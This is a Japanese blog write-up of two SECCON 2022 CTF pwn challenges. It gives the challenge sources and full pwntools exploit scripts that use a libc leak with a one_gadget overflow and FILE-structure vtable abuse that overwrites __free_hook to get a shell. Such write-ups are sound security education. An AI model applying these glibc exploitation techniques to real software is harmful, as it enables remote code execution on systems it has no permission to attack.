SECCON 2022にソロで参加しました。チームで出なかった理由は、私の住所が今、海外になってしまっており私がチームに存在するだけで、
そのチームから国内決勝参加権が無くなるデバフ野郎疑惑があるからです。(ほんとのところはわかりません)
寂しいおっさんを誰かチームに入れて下さい。
さて、SECCON 2022、謎アーキとか、QRコードとか無くなって、段々傾向が変わってきてる気がしますね。
過去の謎アーキもQRコードも、個人的には嫌いではなかったです。それはそれで解けたときに脳汁が出るので。
もはや私は、脳汁が出ればどうでもいいです。
pwn は5問あって、2問(konchaとbabyfile)を開催中に解きました。
write upがあれば他3問も復習します。
koncha (111 solve)
普通にBoFの問題と思いきや、ちょっとだけひねりがある。
#include <stdio.h> #include <unistd.h> int main() { char name[0x30], country[0x20]; /* Ask name (accept whitespace) */ puts("Hello! What is your name?"); scanf("%[^\n]s", name); printf("Nice to meet you, %s!\n", name); /* Ask country */ puts("Which country do you live in?"); scanf("%s", country); printf("Wow, %s is such a nice country!\n", country); /* Painful goodbye */ puts("It was nice meeting you. Goodbye!"); return 0; } __attribute__((constructor)) void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); alarm(180); }
ubuntu@ubuntu:~/ctf/koncha/bin$ ./chall Hello! What is your name? AAAAAAa Nice to meet you, AAAAAAa! Which country do you live in? BBBBBBBBBBBBBBBBBBBBBBBBBBBBB Wow, BBBBBBBBBBBBBBBBBBBBBBBBBBBBB is such a nice country! It was nice meeting you. Goodbye!
見ての通り、スタックバッファオーバーフローが2回ある。
2回目でROPすればいいじゃん!って思ったが、なんとPIEが有効。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
PIE有効な時は、Leakするか、Partial Overwriteが定石だが、実際にやってみるとわかるがnull終端があるので、
Partial Overwriteはできない。
ということでリークすることを考える必要がある。
コードを見ればわかる通り、スタック変数nameが初期化されてない。
なのでnameから何かリークできるだろう、と考えてリークを目指す。
最初は、authme [InterKosenCTF 2020] みたいに%[^\n]sに対してEOFを送ればいいと思ったが、
EOF送ると、それ以降入力か出力かができなくなる。
まいったなぁ、と思ったけどとりあえず改行コードだけ送ってみたら普通にlibcがリークできた。
あとはBoFでone_gadgetに飛ばすだけ。
from pwn import * elf=ELF("/home/ubuntu/ctf/koncha/bin/chall") libc=ELF("/home/ubuntu/ctf/koncha/lib/libc.so.6") #p=process("/home/ubuntu/ctf/koncha/bin/chall" # , aslr=False # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/koncha/lib/libc.so.6"} ) #gdb.attach(p) p=remote("koncha.seccon.games",9001) p.sendlineafter("Hello! What is your name?", "") print(hexdump(p.recvline())) p.recvuntil(b"\x2c\x20") libc_base=u64(p.recv(6).ljust(8, b"\x00"))-0x1f12e8 log.info("libc base is :"+hex(libc_base)) one_gadget=0xe3b01 p.sendlineafter("Which country do you live in?", cyclic(88)+p64(libc_base+one_gadget)) p.interactive()
babyfile (29 solve)
file pointerの中身を自由に書き換えることができて、fflushが自由にできる状況でシェルを取る問題。
面白いね。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> static int menu(void); static int getnline(char *buf, int size); static int getint(void); #define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1) int main(void){ FILE *fp; alarm(30); write_str("Play with FILE structure\n"); if(!(fp = fopen("/dev/null", "r"))){ write_str("Open error"); return -1; } fp->_wide_data = NULL; for(;;){ switch(menu()){ case 0: goto END; case 1: fflush(fp); break; case 2: { unsigned char ofs; write_str("offset: "); if((ofs = getint()) & 0x80) ofs |= 0x40; write_str("value: "); ((char*)fp)[ofs] = getint(); } break; } write_str("Done.\n"); } END: write_str("Bye!"); _exit(0); } static int menu(void){ write_str("\nMENU\n" "1. Flush\n" "2. Trick\n" "0. Exit\n" "> "); return getint(); } static int getnline(char *buf, int size){ int len; if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0) return -1; if(buf[len-1]=='\n') len--; buf[len] = '\0'; return len; } static int getint(void){ char buf[0x10] = {}; getnline(buf, sizeof(buf)); return atoi(buf); }
シンプルだけど…fflushだけでシェル取れるのか?という壮大なテーマ。
ubuntu@ubuntu:~/ctf/babyfile/babyfile$ ./chall Play with FILE structure MENU 1. Flush 2. Trick 0. Exit > 1 Done. MENU 1. Flush 2. Trick 0. Exit > 2 offset: 123 value: 456 Done. MENU 1. Flush 2. Trick 0. Exit
何故かPIE無効って出るけど、ちゃんとPIE有効。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
ずーっとfflushのコードを眺めながら、黒魔術連発で解いた。
まずleakについて。leakのほうが簡単だと思う。
leakするためには、_IO_write_ptrを_IO_write_baseより先に進めておけばいいのは有名な話なので、とりあえずFILE構造体を眺めてみよう。
pwndbg> p *((struct _IO_FILE_plus *)0x5555555592a0) $1 = { file = { _flags = -72539000, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x1555554f26a0 <_IO_2_1_stderr_>, _fileno = 3, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x555555559380, _offset = -1, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x1555554ee600 <_IO_file_jumps> }
全部0じゃん。
しかもPIE有効だから、勝手に埋めることもできない。
うまい具合に、アドレスを入れるにはどうすればいいのか考える。
fflushは、fflush -> __sflush -> _IO_SYNC という経路で関数が呼ばれている。
_IO_SYNCは、vtableからのオフセットで引っ張られる関数。
したがってvtableの関数を上書きしてずらすことで、下記の関数の好きなやつを呼ぶことができる。
pwndbg> p *((struct _IO_jump_t *) 0x1555554ee600) $2 = { __dummy = 0, __dummy2 = 0, __finish = 0x155555364070 <_IO_new_file_finish>, __overflow = 0x155555364e40 <_IO_new_file_overflow>, __underflow = 0x155555364b30 <_IO_new_file_underflow>, __uflow = 0x155555365de0 <__GI__IO_default_uflow>, __pbackfail = 0x155555367300 <__GI__IO_default_pbackfail>, __xsputn = 0x155555363680 <_IO_new_file_xsputn>, __xsgetn = 0x155555363330 <__GI__IO_file_xsgetn>, __seekoff = 0x155555362960 <_IO_new_file_seekoff>, __seekpos = 0x155555366530 <_IO_default_seekpos>, __setbuf = 0x155555362620 <_IO_new_file_setbuf>, __sync = 0x1555553624b0 <_IO_new_file_sync>, __doallocate = 0x155555356b90 <__GI__IO_file_doallocate>, __read = 0x1555553639b0 <__GI__IO_file_read>, __write = 0x155555362f40 <_IO_new_file_write>, __seek = 0x1555553626f0 <__GI__IO_file_seek>, __close = 0x155555362610 <__GI__IO_file_close>, __stat = 0x155555362f30 <__GI__IO_file_stat>, __showmanyc = 0x1555553674a0 <_IO_default_showmanyc>, __imbue = 0x1555553674b0 <_IO_default_imbue> }
色々いじると__doallocateを呼んだ後に、__underflowを呼ぶと、下記のように、
heapのアドレスが入って、いい感じになる。
gdb-peda$ p *((struct _IO_FILE_plus *) 0x56427f01b2a0) $1 = { file = { _flags = 0xfbad2088, _IO_read_ptr = 0x56427f01b480 "", _IO_read_end = 0x56427f01b480 "", _IO_read_base = 0x56427f01b480 "", _IO_write_base = 0x56427f01b480 "", _IO_write_ptr = 0x56427f01b480 "", _IO_write_end = 0x56427f01d480 "", _IO_buf_base = 0x56427f01b480 "", _IO_buf_end = 0x56427f01d480 "", _IO_save_base = 0x56427f01b480 "", _IO_backup_base = 0x56427f01d510 "", _IO_save_end = 0x56427f01b480 "", _markers = 0x0, _chain = 0x7f6a7e2fb5c0 <_IO_2_1_stderr_>, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x56427f01b380, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f6a7e2f74b0 <_IO_file_jumps+16> }
さて、次にfflushを_IO_write_ptr、_IO_write_base, _IO_read_endの下位2バイトを変えて
heap領域の初めのほうから出力するようにする。(コードを見ながら追わないと不可能。)
heap領域には、heapアドレスとlibcアドレスが含まれているので、leakすることができる。
が、当然ASLRが有効なので、アドレス変えながら16パターンやる必要がある。
うまくリーク出来たら、次は、fflushを使って、__free_hookにsystemを書き込むことを考えよう。
['0x2e656e6f44'] ['0x55b4bc5e2480', '0x55b4bc5e2480', '0x55b4bc5efe80', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4510', '0x55b4bc5e2480', '0x7fa89316e5c0', '0x55b4bc5e2380', '0xffffffffffffffff', '0x7fa89316a4a0', '0x7fa893174580', '0x7fa893169f60', '0x2e656e6f44'] [*] heap leak:0x55b4bc5e2000 libc_leak:0x7fa892f81000 [*] Switching to interactive mode Done.
むしろここが難しかった。
結論からいうとvtable書き換えて __finishを呼べばできる。
「そんな回りくどいことしないで、__xsgetnとか__readとか使えよw」って思うかもしれないが、これはうまくいかないと思う。
なぜならば、libc2.31では、vtable範囲チェックが走った直後に、ここら辺の関数に飛ばされるのだが、
このvtable範囲チェックで使われた値がRSIに入っていて、うまく引数をいい感じに設定できない。
なので、なんかの関数を経由して関数を呼ぶ必要がある。と思う。
あと、重要、というか苦しんだのはvtableをずらしているから、関数を飛ばした先でもずれたvtableを使い続けるので意図した関数に飛ばない。地獄である。
さて、__finishを呼ぶと下記のように動かすことができるパスが存在する。
(当たり前だが、flagとかをうまく設定して、いらない関数に入らないように調整する必要がある)
__finish -> _IO_do_flush (実質_IO_do_write/_IO_wdo_write) -> _IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる)
-> _IO_SYSCLOSE (vtableがずれてるから__xsputnが呼ばれる) -> memcpy
-> _IO_default_finish -> free
_IO_do_writeの中で、うまくほかの関数を潜り抜けると、FILE構造体のポイントが、いい感じになってくれる。そのあとに__xsputnを呼ぶことで、ようやくAAWが実現できた。
__xsputnの中には、memcpyを呼ぶ部分がある。このmemcpyを用いて、heapの中に事前に書き込んでおいたlibc systemのアドレスを、__free_hookに転記している。
そして、__finishで_IO_SYSCLOSEが終わった後に呼ばれる_IO_default_finishでfreeを呼んでいるので、__free_hook経由でlibc systemが実行される。
※:_IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる)は_uflowが呼ばれる。_uflowの中で何かが呼ばれて(忘れたw)
*_IO_write_baseに値を代入してしまうが、flagをうまく書き換えることでバイパスできる。
下記がコードだが、複雑になりすぎた。結構連発しないと動かないと思う。
あと、通信レイテンシのせいで時間切れで回らなったので、AWSに東京インスタンスを作って回した。
しかし、こういう事情を加味して競技時間中に30秒 -> 60秒にアラームが変更されていたし、ちゃんとアナウンスされていた。
つまり、私の解法がクソだったのである。
from pwn import * elf=ELF("/home/ubuntu/ctf/babyfile/babyfile/chall") libc=ELF("/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so") #p=process("/home/ubuntu/ctf/babyfile/babyfile/chall" # , aslr=True # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so"} ) p=remote("babyfile.seccon.games",3157) #gdb.attach(p) def flush(): p.sendlineafter(">", "1") return def trick(offset, value): p.sendlineafter(">", "2") p.sendlineafter("offset:", str(offset)) p.sendlineafter("value:", str(value)) return _IO_read_ptr = 0x8 _IO_read_end = 0x10 _IO_read_base = 0x18 _IO_write_base = 0x20 _IO_write_ptr = 0x28 _IO_write_end = 0x30 _IO_buf_base = 0x38 _IO_buf_end = 0x40 _IO_save_base=0x48 _fileno=0x70 _mode=0xc0 vtable = 0xd8 free_speace=0xe0 # at first we would like to set something in __IO_read_base # in order to do so, I want to call __do_allocate_buffer trick(0, 0x88) trick(1, 0x20) trick(_mode, 0x1) trick(_IO_write_base, 0x100) trick(_IO_read_ptr , 0x100) trick(_fileno, 0x00) trick(vtable, 0xa8) flush() # avoid _IO_doallocbuf and call _IO_underflow to set read_base trick(_IO_write_base, 0xff) trick(vtable, 0x60) flush() def getheap(base): trick(vtable, 0xa0) trick(_mode, 0x0) trick(_IO_write_ptr+0x1, 0xfe) trick(_IO_write_base, 0x00) trick(_IO_write_base+1, base) ## difficult trick(_IO_read_end, 0x00) trick(_IO_read_end+1, base) ## difficult trick(_fileno, 0x01) trick(0, 0x84) trick(1, 0x20) flush() tmp=[u64(i.strip().ljust(8, b"\x00")) for i in p.recvline().split(b"\x00") if len(i)>5] #print(hexdump(p.readline())) print([hex(i) for i in tmp]) return tmp # blute force to get heap/libc leak for i in range(16): tmp=getheap(i*0x10) if len(tmp)>2: break heap_leak=tmp[0]-0x480 libc_leak=tmp[len(tmp)-2]-0x1e8f60 log.info("heap leak:" + hex(heap_leak) + " libc_leak:"+hex(libc_leak)) # use finish to call puts with appropriate argument # arbitrage RRW from _IO_write_base -> read_base addr_system=libc_leak+libc.symbols["system"] trick(0, 0x18) trick(1, 0x90) trick(_fileno, 0x04) trick(vtable, 0x50) trick(_mode, 0x0) trick(_IO_read_end, 0xF) # set system address free_space target=addr_system for i in range(8): low=target%0x100 target = target / 0x100 trick(free_speace+i,low) # set binsh target=0x68732f6e69622f for i in range(8): low=target%0x100 target = target / 0x100 trick(free_speace+8+i,low) # this will be argument when we call free target = heap_leak+0x388 for i in range(8): low = target % 0x100 target = target / 0x100 trick(_IO_save_base + i, low) # target FROM target=heap_leak+0x380 for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_write_base+i,low) # target TO target=libc_leak+libc.symbols["__free_hook"] for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_buf_base+i,low) # target TO target=libc_leak+libc.symbols["__free_hook"]+0x20 for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_buf_end+i,low) flush() p.interactive()